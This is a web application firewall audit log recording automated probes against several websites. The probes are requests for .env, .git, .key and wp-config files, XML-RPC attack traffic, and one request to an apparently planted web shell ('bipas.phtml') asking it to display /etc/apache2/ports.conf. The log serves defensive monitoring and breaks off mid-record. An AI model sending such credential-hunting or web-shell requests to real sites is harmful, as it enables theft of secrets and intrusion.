Stopwatch: 1750012497627901 691931 (- - -) Stopwatch2: 1750012497627901 691931; combined=1767, p1=430, p2=1225, p3=0, p4=0, p5=111, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6b855353-Z-- --79ede62d-A-- [16/Jun/2025:00:04:59.311945 +0530] aE8SUkaE4AHnWcPpQgmd0gAAAAo 185.177.72.210 38308 127.0.0.1 7081 --79ede62d-B-- GET /.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79ede62d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6558d4e083bdccdfb8b0fb3650ccef8a1750012499; expires=Sun, 15 Jun 2025 19:34:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79ede62d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.key"] [unique_id "aE8SUkaE4AHnWcPpQgmd0gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012498657740 654267 (- - -) Stopwatch2: 1750012498657740 654267; combined=2247, p1=432, p2=1697, p3=0, p4=0, p5=118, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79ede62d-Z-- --86845d61-A-- [16/Jun/2025:00:05:02.528445 +0530] aE8SVZ9la7T0lySWw7UA6gAAAAQ 185.177.72.210 45858 127.0.0.1 7081 --86845d61-B-- GET /.env.uat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --86845d61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f2fdf5ce9c17428f83491dc7811c293f1750012502; expires=Sun, 15 Jun 2025 19:35:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --86845d61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.uat"] [unique_id "aE8SVZ9la7T0lySWw7UA6gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012501714770 813768 (- - -) Stopwatch2: 1750012501714770 813768; combined=2052, p1=403, p2=1523, p3=0, p4=0, p5=125, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --86845d61-Z-- --c7705107-A-- [16/Jun/2025:00:05:10.155878 +0530] aE8SXUaE4AHnWcPpQgmd1wAAAAo 185.177.72.210 50506 127.0.0.1 7081 --c7705107-B-- GET /admin/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c7705107-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=96291502656d1ce2804a1529056e18111750012509; expires=Sun, 15 Jun 2025 19:35:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c7705107-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/private/.env"] [unique_id "aE8SXUaE4AHnWcPpQgmd1wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012509454174 701768 (- - -) Stopwatch2: 1750012509454174 701768; combined=1924, p1=404, p2=1426, p3=0, p4=0, p5=94, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c7705107-Z-- --f238fc78-A-- [16/Jun/2025:00:05:19.237017 +0530] aE8SZseCLQXSV5p8-VEbVgAAAAA 128.199.112.101 51114 127.0.0.1 7081 --f238fc78-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f238fc78-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f238fc78-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8SZseCLQXSV5p8-VEbVgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012518227764 1009309 (- - -) Stopwatch2: 1750012518227764 1009309; combined=2093, p1=381, p2=1293, p3=43, p4=68, p5=187, sr=98, sw=121, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f238fc78-Z-- --48a18e52-A-- [16/Jun/2025:00:05:28.434091 +0530] aE8Sb59la7T0lySWw7UA-AAAAAQ 185.177.72.210 45468 127.0.0.1 7081 --48a18e52-B-- GET /core/src/main/resources/org/jobrunr/dashboard/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --48a18e52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e795095663ed39f71c2e03c551ee64fc1750012528; expires=Sun, 15 Jun 2025 19:35:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --48a18e52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/core/src/main/resources/org/jobrunr/dashboard/frontend/.env"] [unique_id "aE8Sb59la7T0lySWw7UA-AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012527761699 672535 (- - -) Stopwatch2: 1750012527761699 672535; combined=1949, p1=358, p2=1476, p3=0, p4=0, p5=115, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --48a18e52-Z-- --2b10fc79-A-- [16/Jun/2025:00:05:30.822222 +0530] aE8ScseCLQXSV5p8-VEbZQAAAAA 185.177.72.210 44390 127.0.0.1 7081 --2b10fc79-B-- GET /tmp/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b10fc79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a15e93a3fe5dafcf9b0a37709f0f90e1750012530; expires=Sun, 15 Jun 2025 19:35:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b10fc79-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.git/"] [unique_id "aE8ScseCLQXSV5p8-VEbZQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012530149863 672422 (- - -) Stopwatch2: 1750012530149863 672422; combined=2488, p1=457, p2=1923, p3=0, p4=0, p5=108, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b10fc79-Z-- --322ec91b-A-- [16/Jun/2025:00:06:19.494701 +0530] aE8SoqSMmxZaGWa7XLL3pwAAAAY 128.199.112.101 46588 127.0.0.1 7081 --322ec91b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --322ec91b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --322ec91b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8SoqSMmxZaGWa7XLL3pwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012578502762 992017 (- - -) Stopwatch2: 1750012578502762 992017; combined=2127, p1=369, p2=1336, p3=47, p4=64, p5=192, sr=94, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --322ec91b-Z-- --b668c733-A-- [16/Jun/2025:00:06:29.813148 +0530] aE8SrFeqy5hRjKvJEAyUMQAAAAE 185.177.72.210 41220 127.0.0.1 7081 --b668c733-B-- GET /src/__tests__/__fixtures__/typeScriptVisualizeProject/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b668c733-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=62dc2df02b63774d1abc35e1fb86d9721750012589; expires=Sun, 15 Jun 2025 19:36:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b668c733-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env"] [unique_id "aE8SrFeqy5hRjKvJEAyUMQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012588990858 822373 (- - -) Stopwatch2: 1750012588990858 822373; combined=2525, p1=495, p2=1916, p3=0, p4=0, p5=113, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b668c733-Z-- --38a1275b-A-- [16/Jun/2025:00:06:31.004868 +0530] aE8SrqSMmxZaGWa7XLL3sQAAAAY 185.177.72.210 53972 127.0.0.1 7081 --38a1275b-B-- GET /WEB-INF/service.xsd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --38a1275b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=32e3e5ea62b6e3177c9407e3c1667ac51750012590; expires=Sun, 15 Jun 2025 19:36:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --38a1275b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".xsd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".xsd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/WEB-INF/service.xsd"] [unique_id "aE8SrqSMmxZaGWa7XLL3sQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012590155372 849578 (- - -) Stopwatch2: 1750012590155372 849578; combined=1961, p1=313, p2=1545, p3=0, p4=0, p5=102, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --38a1275b-Z-- --6a0fb419-A-- [16/Jun/2025:00:06:32.940102 +0530] aE8SsK7jjZllglTPVFaIRwAAAAk 216.73.216.83 54244 127.0.0.1 7081 --6a0fb419-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2&viewfile=%2F%2Fetc%2Fapache2%2Fports.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --6a0fb419-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3146 Connection: close Content-Type: text/html; charset=UTF-8 --6a0fb419-H-- Message: Warning. Matched phrase "etc/apache2/ports.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/ports.conf found within ARGS:viewfile: /etc/apache2/ports.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/ports.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/ports.conf found within ARGS:viewfile: /etc/apache2/ports.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8SsK7jjZllglTPVFaIRwAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750012592935607 4568 (- - -) Stopwatch2: 1750012592935607 4568; combined=2564, p1=402, p2=2005, p3=44, p4=41, p5=72, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6a0fb419-Z-- --a0d8522b-A-- [16/Jun/2025:00:06:49.909372 +0530] aE8SwVeqy5hRjKvJEAyUQAAAAAE 185.177.72.210 40848 127.0.0.1 7081 --a0d8522b-B-- GET /:8008/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a0d8522b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d05b519b7067aadaf8f8de2f95c170291750012609; expires=Sun, 15 Jun 2025 19:36:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a0d8522b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/local/.env"] [unique_id "aE8SwVeqy5hRjKvJEAyUQAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012609243050 666398 (- - -) Stopwatch2: 1750012609243050 666398; combined=1734, p1=403, p2=1232, p3=0, p4=0, p5=98, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a0d8522b-Z-- --91605151-A-- [16/Jun/2025:00:06:52.863260 +0530] aE8SxKSMmxZaGWa7XLL3wgAAAAY 185.177.72.210 45430 127.0.0.1 7081 --91605151-B-- GET /wp-config.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --91605151-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7f6098330d12f8edf11d6300831cb9c1750012612; expires=Sun, 15 Jun 2025 19:36:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --91605151-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wp-config.inc"] [unique_id "aE8SxKSMmxZaGWa7XLL3wgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012612201218 662104 (- - -) Stopwatch2: 1750012612201218 662104; combined=1937, p1=336, p2=1505, p3=0, p4=0, p5=95, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --91605151-Z-- --a5c17c1d-A-- [16/Jun/2025:00:07:02.874071 +0530] aE8Szp9la7T0lySWw7UBPwAAAAQ 185.177.72.210 34830 127.0.0.1 7081 --a5c17c1d-B-- GET /collected_static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5c17c1d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b3b890b2b6fed588307bb349acd1fda1750012622; expires=Sun, 15 Jun 2025 19:37:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5c17c1d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/collected_static/.env"] [unique_id "aE8Szp9la7T0lySWw7UBPwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012622209988 664155 (- - -) Stopwatch2: 1750012622209988 664155; combined=2015, p1=391, p2=1533, p3=0, p4=0, p5=91, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5c17c1d-Z-- --63045365-A-- [16/Jun/2025:00:07:03.995874 +0530] aE8Szy7MaF0j8lD2KTIPxwAAAAM 185.177.72.210 34874 127.0.0.1 7081 --63045365-B-- GET /:10000/front-empathy/.env HTTP/1.0 Host: www.mindscan.edu.in 